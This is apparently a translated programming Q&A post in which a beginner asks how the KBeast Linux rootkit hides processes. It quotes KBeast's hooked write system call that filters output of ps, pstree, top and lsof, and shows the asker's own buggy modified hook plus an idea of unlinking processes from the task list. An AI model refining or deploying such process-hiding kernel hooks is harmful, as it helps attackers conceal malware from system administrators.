1

我正在尝试了解 rootkit 的工作原理(出于教育目的)。我有Kbeast rootkit 的源代码。从 ps|| 隐藏进程 pstree 等命令它具有以下功能,

asmlinkage int h4x_write(unsigned int fd, const char __user *buf,size_t count){

   int r;
   char *kbuf=(char*)kmalloc(256,GFP_KERNEL);
   copy_from_user(kbuf,buf,255);
   if ((strstr(current->comm,"ps"))||(strstr(current->comm,"pstree"))||
    (strstr(current->comm,"top"))||(strstr(current->comm,"lsof"))){
        if(strstr(kbuf,_H4X0R_)||strstr(kbuf,KBEAST)){
               kfree(kbuf);
               return -ENOENT;
        }
   }
   r=(*o_write)(fd,buf,count);
   kfree(kbuf);
   return r;
}

此函数覆盖 sys_call_table [__NR_write]。我的理解是 *buf,包含它试图隐藏的进程的名称。使用 copy_from_user(),将 buf 复制到内核缓冲区 kbuf 中,然后在ps||pstree||...使用 strstr() 检测到命令时,它会查找 process_to_hide(H4X0R)。然后找到匹配项,释放内核缓冲区 kbuf。我的理解正确吗?

我检查buf的内容。它不包含任何内容,因此它永远不会起作用。

为了使它工作,我做了一些解决方法(不确定这是否是正确的方法,因为我说我是初学者)。我做了以下操作,将进程名称(我试图隐藏的进程)放入buf中,然后使用copy_from_user()将其复制到内核空间中。我有一个看起来像原始 Kbeast 代码的工作代码,

const char *p_name="kbeast";

asmlinkage long test_write(unsigned int fd, char const __user *buf, size_t count){

long r=1;

r = (*original_write)(fd, buf, count);
char *kbuf=(char const *)kmalloc(256,GFP_KERNEL);
//__copy_from_user(kbuf,buf,255);

if (strstr(current->comm,"ps")){
    struct task_struct *task;
        for_each_process(task){
        if (strstr(task->comm,p_name)){
                //printk("%s [%d]\n",task->comm , task->pid);
            buf=task->comm;
            __copy_from_user(kbuf,buf,255);
            break;
        }
    }       
    //printk(KERN_INFO "kBuf %s", kbuf);
    if(strstr(kbuf,p_name)){
            kfree(kbuf);
            return -ENOENT;
        }

}


return r;
}

在运行 ps 命令时,它显示以下内容,

 PID TTY          TIME CMD
 10115 pts/2    00:00:00 bash
 14560 pts/2    00:00:00 kbeast
 14561 pts/2    00:00:00 ps
 ps: write error

这里发生了什么?

我在考虑另一种方法,如在task_struct链接列表中包含所有进程名称,如果我能以某种方式从task_struct取消链接目标进程应该可以做到这一点,但我不知道如何做到这一点。

4

0 回答 0